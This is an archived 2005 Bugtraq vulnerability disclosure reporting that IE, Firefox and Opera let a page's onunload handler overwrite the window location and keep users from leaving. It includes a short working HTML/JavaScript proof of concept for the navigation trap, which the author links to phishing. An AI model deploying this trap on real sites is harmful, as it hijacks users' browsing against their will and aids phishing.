bugtraq - unload event in ie/mozilla/opera

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Tue, 23 Aug 2005 16:09:51 +0200
From: Tobias Boonstoppel <boonstoppel@...il.com>
To: bugtraq@...urityfocus.com
Subject: unload event in ie/mozilla/opera

in nearly all browsers* you can overwrite the window location in the
"onunload" event.

that means you can "keep" the user on a site. when you type a new url
in the address-bar, javascript overwrites it. thats a paradies for
fishers, porn-site-hoster etc......

here the html/javascript code:

<html>
<head>
<script>
window.unlock = false;
window.onunload=function()
{
if(!window.unlock)
 window.location.href='unload.html';
}
document.onmousedown=function()
{
  window.unlock = true;
}
</script>
</head>
<body>
<a href="?link=1">Link 1</a><br>
<a href="?link=2">Link 2</a><br>
<a href="?link=3">Link 3</a><br>
<a href="?link=4">Link 4</a><br>
</body>
</html>

cheers
Tobias Boonstoppel

ps: * i testet it on firefox (linux / window) opera (linux) and
internet explorer.